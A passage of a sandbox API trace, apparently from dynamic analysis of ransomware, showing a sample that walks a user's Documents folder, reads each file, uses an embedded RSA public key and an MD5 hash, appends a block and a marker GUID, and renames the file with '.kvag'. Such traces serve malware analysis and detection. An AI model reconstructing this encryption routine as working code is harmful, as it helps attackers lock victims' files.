szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.345] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.345] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.345] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.345] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.345] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.345] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.345] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.345] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.345] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.345] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.346] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x107ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.346] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.346] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.346] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.346] CloseHandle (hObject=0x61c) returned 1 [0119.347] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e29DgY3qW.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e29dgy3qw.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e29DgY3qW.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e29dgy3qw.docx.kvag")) returned 1 [0119.350] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a02a80, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x1d2fce40, ftLastAccessTime.dwHighDateTime=0x1d4cbad, ftLastWriteTime.dwLowDateTime=0x1d2fce40, ftLastWriteTime.dwHighDateTime=0x1d4cbad, nFileSizeHigh=0x0, nFileSizeLow=0x10147, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EeFAgU3hDZ4U9MuXcsJ.rtf", cAlternateFileName="EEFAGU~1.RTF")) returned 1 [0119.350] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EeFAgU3hDZ4U9MuXcsJ.rtf") returned=".rtf" [0119.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EeFAgU3hDZ4U9MuXcsJ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eefagu3hdz4u9muxcsj.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.350] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=65863) returned 1 [0119.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.352] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10121, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.352] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.354] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x10147, lpOverlapped=0x0) returned 1 [0119.355] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.355] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.355] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.355] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.355] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.355] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.355] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.356] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.356] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.356] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.356] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.356] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.356] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.356] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.356] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10147, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.357] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.357] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.357] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.357] CloseHandle (hObject=0x61c) returned 1 [0119.358] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EeFAgU3hDZ4U9MuXcsJ.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eefagu3hdz4u9muxcsj.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EeFAgU3hDZ4U9MuXcsJ.rtf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eefagu3hdz4u9muxcsj.rtf.kvag")) returned 1 [0119.359] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf87b2f00, ftCreationTime.dwHighDateTime=0x1d4cd4f, ftLastAccessTime.dwLowDateTime=0x1e304e20, ftLastAccessTime.dwHighDateTime=0x1d4d2db, ftLastWriteTime.dwLowDateTime=0x1e304e20, ftLastWriteTime.dwHighDateTime=0x1d4d2db, nFileSizeHigh=0x0, nFileSizeLow=0x8e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F-3985rHMiViUc6cgm.xls", cAlternateFileName="F-3985~1.XLS")) returned 1 [0119.359] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F-3985rHMiViUc6cgm.xls") returned=".xls" [0119.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F-3985rHMiViUc6cgm.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f-3985rhmiviuc6cgm.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.360] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=2278) returned 1 [0119.360] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.362] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.362] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.363] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8e6, lpOverlapped=0x0) returned 1 [0119.364] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.364] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.364] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.364] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.364] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.364] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.365] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.365] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.365] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.365] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.365] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.365] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.365] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.365] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.365] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.365] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.365] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.365] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.365] CloseHandle (hObject=0x61c) returned 1 [0119.366] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F-3985rHMiViUc6cgm.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f-3985rhmiviuc6cgm.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F-3985rHMiViUc6cgm.xls.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f-3985rhmiviuc6cgm.xls.kvag")) returned 1 [0119.367] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b96d9c0, ftCreationTime.dwHighDateTime=0x1d4cca7, ftLastAccessTime.dwLowDateTime=0x58a90590, ftLastAccessTime.dwHighDateTime=0x1d4cd65, ftLastWriteTime.dwLowDateTime=0x58a90590, ftLastWriteTime.dwHighDateTime=0x1d4cd65, nFileSizeHigh=0x0, nFileSizeLow=0x2d8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FGXg53O8b.pps", cAlternateFileName="FGXG53~1.PPS")) returned 1 [0119.367] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FGXg53O8b.pps") returned=".pps" [0119.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FGXg53O8b.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fgxg53o8b.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.368] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=11659) returned 1 [0119.368] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.370] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.370] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.372] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x2d8b, lpOverlapped=0x0) returned 1 [0119.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.372] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.373] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.373] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.373] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.373] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.373] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.373] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.373] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.373] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.373] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.374] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.374] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.374] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.374] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.374] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.374] CloseHandle (hObject=0x61c) returned 1 [0119.375] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FGXg53O8b.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fgxg53o8b.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FGXg53O8b.pps.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fgxg53o8b.pps.kvag")) returned 1 [0119.376] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d22be50, ftCreationTime.dwHighDateTime=0x1d520c4, ftLastAccessTime.dwLowDateTime=0xe2bf6240, ftLastAccessTime.dwHighDateTime=0x1d507eb, ftLastWriteTime.dwLowDateTime=0xe2bf6240, ftLastWriteTime.dwHighDateTime=0x1d507eb, nFileSizeHigh=0x0, nFileSizeLow=0x148e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flz_m1D.xlsx", cAlternateFileName="FLZ_M1~1.XLS")) returned 1 [0119.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\flz_m1D.xlsx") returned=".xlsx" [0119.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\flz_m1D.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\flz_m1d.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.377] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=84194) returned 1 [0119.377] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.379] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x148bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.379] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.380] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.380] ReadFile (in: 